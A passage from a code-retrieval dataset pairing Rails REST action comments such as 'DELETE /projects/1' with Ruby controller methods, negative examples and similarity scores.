"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n \n=======\n\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_project_with_http_info(project_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.patch_project ...'\n end\n # verify the required parameter 'project_id' is set\n if @api_client.config.client_side_validation && project_id.nil?\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling ProjectApi.patch_project\"\n end\n # resource path\n local_var_path = '/projects/{project_id}'.sub('{' + 'project_id' + '}', CGI.escape(project_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'json_patch'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'SuccessfulProjectUpdate'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.patch_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#patch_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: \"Project was successfully updated.\" }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @project\n if @project.update(project_params)\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n else\n render json: {error: \"Project does not exist\"} , status: :unprocessable_entity\n end\n end"
] |
[
"0.70004326",
"0.69119745",
"0.6911138",
"0.6889052",
"0.6888448",
"0.6878091",
"0.68675476",
"0.6857582",
"0.685334",
"0.685334",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.68503886",
"0.6850255",
"0.6842495",
"0.684057",
"0.684057",
"0.684057",
"0.684057",
"0.68398464",
"0.68397754",
"0.6839175",
"0.6829714",
"0.6829413",
"0.68209535",
"0.68173355",
"0.6808719",
"0.68025875",
"0.68025875",
"0.6780633",
"0.6771888",
"0.67589355",
"0.67586994",
"0.67586994",
"0.67561215",
"0.6746647",
"0.6735708",
"0.67201793",
"0.6706241",
"0.6702684",
"0.66779363",
"0.66752994",
"0.66677266",
"0.6659675",
"0.66557306",
"0.66467226",
"0.6633223",
"0.6633223",
"0.66229934",
"0.66225135",
"0.66225135",
"0.6615703",
"0.661438",
"0.66133374",
"0.66015583"
] |
0.6600113
|
97
|
DELETE /projects/1 DELETE /projects/1.json
|
def destroy
@project.destroy
respond_to do |format|
format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @project.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.delete\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.status = 'deleted'\n @project.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def delete\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n project = Project.find(params[:id])\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n name = @project.name\n @project.destroy\n render json: [\"You have successfullly deleted '#{name}''\"], status: 200\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @project.destroy\r\n respond_to do |format|\r\n format.html { redirect_to projects_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete(projects)\n project_ids = projects.collect { |project| project.id } \n args = {ids: project_ids.to_json}\n return @client.api_helper.command(args, \"project_delete\")\n end",
"def delete\r\n\t\t\trender json: Project.delete_by_id(params[:id])\r\n\t\tend",
"def destroy\n\t\t@project.destroy\n\t\trespond_to do |format|\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_projects_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = current_user.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:message=>\"OK\",:id=>@project.id}, :staus=>:ok}\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n head :no_content\n end",
"def destroy\t\t\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Successfully deleted project.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: t('models.project.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = @client.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to @client }\n end\n end",
"def destroy\n @project.destroy\n\n head :no_content\n end",
"def destroy\n @ourproject = Ourproject.find(params[:id])\n @ourproject.destroy\n\n respond_to do |format|\n format.html { redirect_to ourprojects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize @project\n @project.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end",
"def destroy\n @project.destroy_all\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'The project was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:valid => true} }\n end\n end",
"def destroy\n @api_project.destroy\n respond_to do |format|\n format.html { redirect_to api_projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_path, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find_by_permalink(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def delproject(project)\n post('delproject.json', project: project)\n end",
"def destroy\n authorize! :destroy, @project\n @project.destroy\n\n head :no_content\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n Rails.logger.info \"We are deleting project\"\n @todo_project.destroy\n respond_to do |format|\n format.html { redirect_to todo_projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = @projectable.projects.find(params[:id])\n @project.destroy\n track_activity @project\n\n respond_to do |format|\n format.html { redirect_to [@projectable, :projects] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n @project.users.delete_all\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticate_user!\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n render json: {message: 'Projeto Excluido'}, status: :ok\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find_by_slug(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"#{I18n.t 'project.project_destoy'}\"}\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Admin::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def delete_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'DELETE'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'DeleteProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def destroy\n @project = current_user.active_projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n standard_destroy(Project, params[:id])\n end",
"def destroy\n authorize! :delete, @project\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end"
] |
[
"0.78951",
"0.78593713",
"0.7778056",
"0.7771693",
"0.77585995",
"0.7730887",
"0.77305084",
"0.77305084",
"0.77305084",
"0.77305084",
"0.77305084",
"0.77244985",
"0.7718401",
"0.7718401",
"0.7718401",
"0.7718401",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7704753",
"0.7700103",
"0.76993084",
"0.7682566",
"0.7669082",
"0.7659675",
"0.764973",
"0.76495475",
"0.7641442",
"0.763269",
"0.761519",
"0.76147044",
"0.7611191",
"0.76066136",
"0.7605034",
"0.7598783",
"0.75986093",
"0.7593673",
"0.7591231",
"0.75896156",
"0.7571706",
"0.7571697",
"0.7561333",
"0.7543007",
"0.7537952",
"0.75324875",
"0.75302756",
"0.75237787",
"0.75237787",
"0.75189",
"0.75063527",
"0.7504202",
"0.7499374",
"0.7494583",
"0.7487019",
"0.74810386",
"0.74776345",
"0.7469382",
"0.74652857",
"0.7460907",
"0.7460907",
"0.74520767",
"0.7448516",
"0.744649",
"0.74448746",
"0.74421936",
"0.7441719",
"0.74374086",
"0.7437005",
"0.74365294",
"0.74365294",
"0.74365294"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_project
@project = current_user.projects.friendly.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
